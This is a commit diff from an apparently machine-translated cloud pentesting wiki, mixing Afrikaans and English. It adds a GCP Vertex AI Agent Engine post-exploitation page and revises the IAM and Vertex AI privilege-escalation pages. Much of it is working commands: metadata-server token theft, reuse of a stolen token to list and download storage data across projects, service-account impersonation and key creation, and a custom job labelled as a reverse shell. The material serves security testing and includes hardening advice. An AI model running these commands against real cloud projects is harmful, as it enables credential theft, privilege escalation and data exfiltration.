Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2026-04-07 13:05:37 +00:00
parent 290511c194
commit d95066d9bd
4 changed files with 457 additions and 157 deletions

View File

@@ -0,0 +1,271 @@
# GCP - Vertex AI Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI Agent Engine / Reasoning Engine
Hierdie bladsy fokus op **Vertex AI Agent Engine / Reasoning Engine** workloads wat aanvaller-beheerde tools of code binne 'n Google-managed runtime uitvoer.
For the general Vertex AI overview check:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
### Why this service is special
Agent Engine stel 'n nuttige maar gevaarlike patroon bekend: **developer-supplied code wat binne 'n managed Google runtime loop met 'n Google-managed identiteit**.
Die interessante vertrouensgrense is:
- **Consumer project**: jou projek en jou data.
- **Producer project**: Google-managed projek wat die backend-diens bedryf.
- **Tenant project**: Google-managed projek toegewyd aan die gedeployde agent-instansie.
Volgens Google's Vertex AI IAM-dokumentasie kan Vertex AI resources **Vertex AI service agents** gebruik as resource identities, en daardie service agents kan standaard **read-only access to all Cloud Storage resources and BigQuery data in the project** hê. As code wat binne Agent Engine loop die runtime credentials kan steel, word daardie standaard toegang onmiddellik interessant.
### Main abuse path
1. Deploy of wysig 'n agent sodat aanvaller-beheerde tools of code binne die managed runtime uitgevoer word.
2. Query die **metadata server** om projek-identiteit, service account-identiteit, OAuth scopes, en access tokens te herwin.
3. Hergebruik die gesteelde token as die **Vertex AI Reasoning Engine P4SA / service agent**.
4. Pivot na die **consumer project** en lees projekwye stoordata wat deur die service agent toegelaat word.
5. Pivot na die **producer**- en **tenant**-omgewings wat deur dieselfde identiteit bereik kan word.
6. Lys interne Artifact Registry pakkette en onttrek tenant deployment-artikels soos `Dockerfile.zip`, `requirements.txt`, en `code.pkl`.
Dit is nie net 'n "run code in your own agent" kwessie nie. Die kernprobleem is die kombinasie van:
- **metadata-accessible credentials**
- **broad default service-agent privileges**
- **wide OAuth scopes**
- **multi-project trust boundaries hidden behind one managed service**
## Enumeration
### Identify Agent Engine resources
Die resource name format wat deur Agent Engine gebruik word is:
```text
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
```
As jy 'n token met Vertex AI toegang het, enumereer die Reasoning Engine API direk:
```bash
PROJECT_ID=<project-id>
LOCATION=<location>
curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
```
Kontroleer die deployment-logs, aangesien hulle **internal producer Artifact Registry paths** kan leak wat tydens verpakking of runtime-opstart gebruik word:
```bash
gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json
```
Die Unit 42-navorsing het interne paaie waargeneem soos:
```text
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
```
## Metadata credential theft vanaf die runtime
As jy kode binne die agent runtime kan uitvoer, vra eers die metadata service:
```bash
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
```
Interessante velde sluit in:
- projek-ID's
- die aangehegte service account / service agent
- OAuth-scopes wat vir die runtime beskikbaar is
Versoek dan 'n token vir die aangehegte identiteit:
```bash
curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
```
Valideer die token en ondersoek die toegeken scopes:
```bash
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo
```
> [!WARNING]
> Google het dele van die ADK-deploy-werkvloeie verander nadat die navorsing gerapporteer is, so presiese ou implementerings-snippets mag nie meer met die huidige SDK ooreenstem nie. Die belangrike primitief bly steeds dieselfde: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**.
## Consumer-projek pivot: service-agent datadiefstal
Sodra die runtime token gesteel is, toets die effektiewe toegang van die service agent teenoor die consumer project.
Die gedokumenteerde risikovolle standaardvermoë is breë **read access to project data**. Die Unit 42-navorsing het spesifiek gevalideer:
- `storage.buckets.get`
- `storage.buckets.list`
- `storage.objects.get`
- `storage.objects.list`
Praktiese validering met die gesteelde token:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
```
Dit verander 'n gekompromitteerde of kwaadwillige agent in 'n **project-wide storage exfiltration primitive**.
## Producer-project pivot: interne Artifact Registry toegang
Dieselfde gesteelde identiteit kan ook teen **Google-managed producer resources** werk.
Begin deur die interne repository URIs wat in die logs teruggevind is te toets. Enumereer dan pakkette met die Artifact Registry API:
```python
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])
```
As jy slegs 'n raw bearer token het, roep die REST API direk aan:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
```
Dit is waardevol selfs as write-toegang geblokkeer is omdat dit blootstel:
- interne image name
- verouderde images
- supply-chain-struktuur
- pakket/weergawe-inventaris vir opvolgnavorsing
For more Artifact Registry background check:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
## Tenant-project pivot: ophaling van ontplooiingsartefakte
Reasoning Engine ontplooiings laat ook interessante artefakte agter in 'n **tenant project** wat deur Google vir daardie instansie beheer word.
Die Unit 42-navorsing het die volgende gevind:
- `Dockerfile.zip`
- `code.pkl`
- `requirements.txt`
Gebruik die gesteelde token om toeganklike berging te enumereer en te soek na ontplooiingsartefakte:
```bash
curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
```
Artefakte van die tenant-projek kan onthul:
- interne bucketname
- interne image-verwysings
- verpakkingsaanname
- afhanklikheidslyste
- geserialiseerde agent code
Die blog het ook 'n interne verwysing waargeneem soos:
```text
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
```
Selfs wanneer die genoemde beperkte bucket nie leesbaar is nie, help daardie leaked paths om die interne infrastruktuur in kaart te bring.
## `code.pkl` en voorwaardelike RCE
If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target.
Die onmiddellike probleem is **vertroulikheid**:
- offline deserialisering kan kodestruktuur blootlê
- die pakketformaat leaks implementeringsbesonderhede
Die groter probleem is **voorwaardelike RCE**:
- if an attacker can tamper with the serialized artifact before service-side deserialization
- en die pipeline later daardie pickle laai
- kan willekeurige kode-uitvoering binne die managed runtime moontlik word
This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive.
## OAuth scopes en Workspace blast radius
Die metadata-antwoord openbaar ook die **OAuth scopes** wat aan die runtime gekoppel is.
As daardie scopes breër is as die minimum vereiste, kan 'n gesteelde token nuttig raak teen meer as net GCP APIs. IAM bepaal steeds of die identiteit gemagtig is, maar breë scopes vergroot die blast radius en maak latere miskonfigurasies gevaarliker.
If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:
{{#ref}}
../gcp-to-workspace-pivoting/README.md
{{#endref}}
## Verharding / opsporing
### Verkies 'n custom service account bo die default managed identity
Huidige Agent Engine-dokumentasie ondersteun die instel van 'n **custom service account** vir die gedeploëerde agent. Dit is die netste manier om die blast radius te verminder:
- verwyder afhanklikheid van die default breë service agent
- gee slegs die minimale toestemmings wat deur die agent benodig word
- maak die runtime-identiteit ouditbaar en doelbewus begrens
### Valideer die werklike service-agent toegang
Inspekteer die effektiewe toegang van die Vertex AI service agent in elke projek waar Agent Engine gebruik word:
```bash
gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'
```
Fokus daarop of die aangehegte identiteit kan lees:
- alle GCS buckets
- BigQuery datasets
- Artifact Registry repositories
- secrets of interne registries wat deur build/deployment workflows bereik kan word
### Hanteer agent-kode as bevoorregte kode-uitvoering
Enige hulpmiddel/funksie wat deur die agent uitgevoer word, moet hersien word asof dit kode is wat op 'n VM met metadata-toegang loop. In praktyk beteken dit:
- hersien agent-hulpmiddels vir direkte HTTP-toegang tot metadata-endpunte
- hersien logs vir verwysings na interne `pkg.dev` repositories en tenant buckets
- hersien enige packaging-pad wat uitvoerbare toestand as `pickle` stoor
## Verwysings
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,16 +12,16 @@ Vind meer inligting oor IAM in:
### `iam.roles.update` (`iam.roles.get`)
'n aanvaller met die genoemde permissies kan 'n rol wat aan jou toegeken is wysig en jou ekstra permissies gee vir ander hulpbronne soos:
'n aanvaller met die genoemde toestemmings sal in staat wees om 'n rol wat aan jou toegewys is te wysig en jou ekstra toestemmings vir ander hulpbronne te gee soos:
```bash
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
```
Jy kan 'n skrip vind om die **skepping, exploit en skoonmaak van 'n vuln-omgewing hier** te outomatiseer en 'n python-skrip om hierdie privilege te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n skrip vind om die **creation, exploit and cleaning of a vuln environment here** te outomatiseer en 'n python-skrip om hierdie privilege te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting, kyk na die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
```bash
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
```
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
Die iam.roles.create-permissie maak die skepping van pasgemaakte rolle in 'n projek/organisasie moontlik. In die hande van 'n aanvaller is dit gevaarlik, omdat dit hulle in staat stel om nuwe stelle toestemmings te definieer wat later aan entiteite toegeken kan word (byvoorbeeld deur gebruik te maak van die iam.serviceAccounts.setIamPolicy-permissie) met die doel van privilege escalation.
Die `iam.roles.create`-permissie maak die skepping van aangepaste rolle in 'n projek/organisasie moontlik. In die hande van 'n aanvaller is dit gevaarlik omdat dit hulle in staat stel om nuwe stelle permissies te definieer wat later aan entiteite toegeken kan word (byvoorbeeld deur gebruik van die `iam.serviceAccounts.setIamPolicy`-permissie) met die doel om verhoogde bevoegdhede te verkry.
```bash
gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
@@ -31,32 +31,38 @@ gcloud iam roles create <ROLE_ID> \
```
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
'n aanvaller met die genoemde toestemmings sal in staat wees om **request an access token that belongs to a Service Account**, dus is dit moontlik om 'n access token van 'n Service Account te versoek wat meer bevoegdhede het as ons s'n.
n Aanvaller met die genoemde permissies sal in staat wees om **'n access token wat aan 'n Service Account behoort te versoek**, dus is dit moontlik om 'n access token van 'n Service Account met meer voorregte as ons s'n te bekom.
Vir 'n **hulpbron-gedrewe** variant waar kode wat deur 'n aanvaller beheer word 'n **managed Vertex AI Agent Engine runtime token** vanaf die metadata service steel en dit hergebruik as die Vertex AI service agent, sien:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
```bash
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token
```
Jy kan 'n skrip vind om die [**skepping, uitbuiting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) te outomatiseer en 'n python-skrip om hierdie voorreg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) te misbruik. Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n skrip vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) te outomatiseer en 'n python skrip om hierdie bevoegdheid te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccountKeys.create`
'n aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruikersbeheerde sleutel vir 'n Service Account te skep**, wat ons sal toelaat om toegang tot GCP te kry as daardie Service Account.
'n aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruikersbestuurde sleutel vir 'n Service Account te skep**, wat ons toelaat om as daardie Service Account toegang tot GCP te kry.
```bash
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
gcloud auth activate-service-account --key-file=sa_cred.json
```
Jy kan 'n skrip vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting, kyk na die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Let wel dat **`iam.serviceAccountKeys.update` nie sal werk om die sleutel van 'n SA te wysig nie** omdat die toestemming `iam.serviceAccountKeys.create` ook nodig is.
Let wel dat **`iam.serviceAccountKeys.update` sal nie werk om die sleutel van 'n SA te wysig nie**, omdat die permissions `iam.serviceAccountKeys.create` ook benodig word.
### `iam.serviceAccounts.implicitDelegation`
As jy die **`iam.serviceAccounts.implicitDelegation`** toestemming op 'n Service Account het wat die **`iam.serviceAccounts.getAccessToken`** toestemming op 'n derde Service Account het, kan jy implicitDelegation gebruik om **'n token te skep vir daardie derde Service Account**. Hier is 'n diagram om dit te verduidelik.
As jy die **`iam.serviceAccounts.implicitDelegation`** permission op 'n Service Account het wat die **`iam.serviceAccounts.getAccessToken`** permission op 'n derde Service Account het, kan jy implicitDelegation gebruik om **create a token for that third Service Account**. Hier is 'n diagram om dit te help verduidelik.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
Let wel dat volgens die [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegasie van `gcloud` slegs werk om 'n token te genereer deur gebruik te maak van die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) metode. Hier is hoe om 'n token direk met die API te kry:
Let wel dat volgens die [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), die delegation van `gcloud` slegs werk om 'n token te genereer deur die [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method te gebruik. Dus, hier is hoe om 'n token direk met die API te kry:
```bash
curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
@@ -67,23 +73,23 @@ curl -X POST \
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'
```
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) te outomatiseer en 'n Python-skrip om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signBlob`
'n Aanvaller met die genoemde permissies sal in staat wees om **arbitêre payloads in GCP te onderteken**. Dit maak dit moontlik om **'n ongetekende JWT van die SA te skep en dit dan as 'n blob te stuur om die JWT deur die teiken-SA te laat onderteken**. Vir meer inligting [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
'n aanvaller met die genoemde toestemmings sal in staat wees om **arbitrêre payloads in GCP te teken**. Dit sal dus moontlik wees om **'n ongetekende JWT van die SA te skep en dit dan as 'n blob te stuur sodat die SA wat ons teiken die JWT teken**. Vir meer inligting, [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) te outomatiseer en 'n Python-skrip om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) en [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.signJwt`
'n Aanvaller met die genoemde permissies sal in staat wees om **well-formed JSON web tokens (JWTs) te onderteken**. Die verskil met die vorige metode is dat **in plaas daarvan om Google 'n blob wat 'n JWT bevat te laat onderteken, ons die signJWT-metode gebruik wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik maar jy kan slegs JWTs teken in plaas van ewekansige bytes.
'n aanvaller met die genoemde toestemmings sal in staat wees om **goedgevormde JSON web tokens (JWTs) te teken**. Die verskil met die vorige metode is dat **in plaas daarvan dat google 'n blob wat 'n JWT bevat teken, ons die signJWT-metode gebruik wat reeds 'n JWT verwag**. Dit maak dit makliker om te gebruik, maar jy kan slegs JWT's teken en nie ewekansige bytes nie.
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Vir meer inligting kyk die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
Jy kan 'n script vind om die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) te outomatiseer en 'n Python-skrip om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Vir meer inligting, sien die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
'n Aanvaller met die genoemde permissies sal in staat wees om **IAM-beleid by service accounts te voeg**. Jy kan dit misbruik om jouself die permissies te gee wat jy nodig het om die service account na te boots. In die volgende voorbeeld gee ons onsself die `roles/iam.serviceAccountTokenCreator` rol oor die interessante SA:
'n aanvaller met die genoemde toestemmings sal in staat wees om **IAM-beleid by service accounts te voeg**. Jy kan dit misbruik om jouself **die toestemmings te gee** wat jy nodig het om die service account te impersonate. In die volgende voorbeeld gee ons onsself die rol `roles/iam.serviceAccountTokenCreator` oor die relevante SA:
```bash
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
@@ -98,23 +104,23 @@ Jy kan 'n skrip vind om die [**creation, exploit and cleaning of a vuln environm
### `iam.serviceAccounts.actAs`
Die **iam.serviceAccounts.actAs permission** is soortgelyk aan die **iam:PassRole permission from AWS**. Dit is noodsaaklik vir die uitvoer van take, soos om 'n Compute Engine-instansie te begin, aangesien dit die vermoë gee om as 'n Service Account te "actAs", wat veilige bestuur van permissies moontlik maak. Sonder hierdie toestemming kan gebruikers ongewensde toegang kry. Verder behels die uitbuiting van die **iam.serviceAccounts.actAs** verskeie metodes, wat elk 'n stel toestemmings vereis, in teenstelling met ander metodes wat net een benodig.
Die **iam.serviceAccounts.actAs permission** is soos die **iam:PassRole permission from AWS**. Dit is noodsaaklik vir die uitvoering van take, soos die inisieer van 'n Compute Engine-instantie, aangesien dit die vermoë gee om "actAs" 'n Service Account, en sodoende veilige toestemmingbestuur verseker. Sonder dit kan gebruikers ongeregverdigde toegang kry. Daarbenewens behels die misbruik van **iam.serviceAccounts.actAs** verskeie metodes, elk wat 'n stel permissies vereis, in teenstelling met ander metodes wat net een benodig.
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Die impersonasie van 'n Service Account kan baie nuttig wees om **nuwe en beter bevoegdhede te verkry**. Daar is drie maniere waarop jy 'n [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
Om as 'n service account op te tree kan baie nuttig wees om **nuwe en beter voorregte te verkry**. Daar is drie maniere waarop jy [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Outentisering **using RSA private keys** (hierbo gedek)
- Magtiging **using Cloud IAM policies** (hier gedek)
- **Deploying jobs on GCP services** (meer toepaslik by die kompromittering van 'n gebruikersrekening)
- Outentisering **using RSA private keys** (hierbo behandel)
- Gemagtiging **using Cloud IAM policies** (hier behandel)
- **Deploying jobs on GCP services** (meer van toepassing op die kompromittering van 'n gebruikersrekening)
### `iam.serviceAccounts.getOpenIdToken`
'n Aanvaller met die genoemde toestemmings sal 'n OpenID JWT kan genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teenoor 'n bron nie.
'n Aanvaller met die genoemde permissies sal in staat wees om 'n OpenID JWT te genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teen 'n hulpbron nie.
Volgens hierdie [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), is dit nodig om die audience aan te dui (die diens waarby jy die token wil gebruik om te autentiseer) en jy sal 'n JWT ontvang wat deur google onderteken is en wat die service account en die audience van die JWT aandui.
Volgens hierdie [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), is dit nodig om die audience (diens waarheen jy die token wil gebruik om te autentiseer) aan te dui, en jy sal 'n JWT ontvang wat deur google geteken is wat die service account en die audience van die JWT aandui.
Jy kan 'n OpenIDToken (as jy die toegang het) genereer met:
Jy kan 'n OpenIDToken genereer (as jy toegang het) met:
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
@@ -130,7 +136,7 @@ Sommige dienste wat verifikasie via hierdie soort tokens ondersteun, is:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (indien Google OIDC gebruik word)
Jy kan 'n voorbeeld vind van hoe om 'n OpenID token namens 'n service account te skep [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).

View File

@@ -4,23 +4,29 @@
## Vertex AI
Vir meer inligting oor Vertex AI sien:
Vir meer inligting oor Vertex AI, sien:
{{#ref}}
../gcp-services/gcp-vertex-ai-enum.md
{{#endref}}
Vir **Agent Engine / Reasoning Engine** post-exploitation paths wat die runtime metadata service, die standaard Vertex AI service agent, en cross-project pivoting in consumer / producer / tenant resources gebruik, sien:
{{#ref}}
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
{{#endref}}
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
Met die `aiplatform.customJobs.create`-toestemming en `iam.serviceAccounts.actAs` op 'n geteikende service account, kan 'n aanvaller **ewekansige kode met verhoogde voorregte uitvoer**.
Met die `aiplatform.customJobs.create` permission en `iam.serviceAccounts.actAs` op 'n target service account, kan 'n attacker **execute arbitrary code with elevated privileges**.
Dit werk deur 'n custom training job te skep wat aanvaller-beheerde kode uitvoer (hetsy 'n custom container of 'n Python-pakket). Deur 'n bevoorregte service account te spesifiseer met die `--service-account` vlag, erf die job daardie service account se permissies. Die job hardloop op Google-beheerde infrastruktuur met toegang tot die GCP metadata service, wat die onttrekking van die service account se OAuth access token moontlik maak.
Dit werk deur 'n custom training job te skep wat attacker-controlled code uitvoer (hetsy 'n custom container of Python package). Deur 'n privileged service account te spesifiseer via die `--service-account` flag, erf die job daardie service account se permissions. Die job hardloop op Google-managed infrastructure met toegang tot die GCP metadata service, wat die ekstraksie van die service account se OAuth access token moontlik maak.
**Impak**: Volledige privilege escalation na die permissies van die geteikende service account.
**Impact**: Volledige privilege escalation na die target service account se permissions.
<details>
<summary>Skep custom job met reverse shell</summary>
<summary>Create custom job with reverse shell</summary>
```bash
# Method 1: Reverse shell to attacker-controlled server (most direct access)
gcloud ai custom-jobs create \
@@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
<details>
<summary>Alternatief: Ekstraheer token uit logs</summary>
<summary>Alternatief: Haal token uit logs</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
### `aiplatform.models.upload`, `aiplatform.models.get`
Hierdie tegniek bereik privilege escalation deur 'n model na Vertex AI op te laai en daardie model te benut om code met elevated privileges uit te voer via 'n endpoint deployment of 'n batch prediction job.
Hierdie tegniek bereik privilege escalation deur 'n model na Vertex AI op te laai en daardie model te benut om kode met verhoogde voorregte uit te voer via 'n endpoint deployment of batch prediction job.
> [!NOTE]
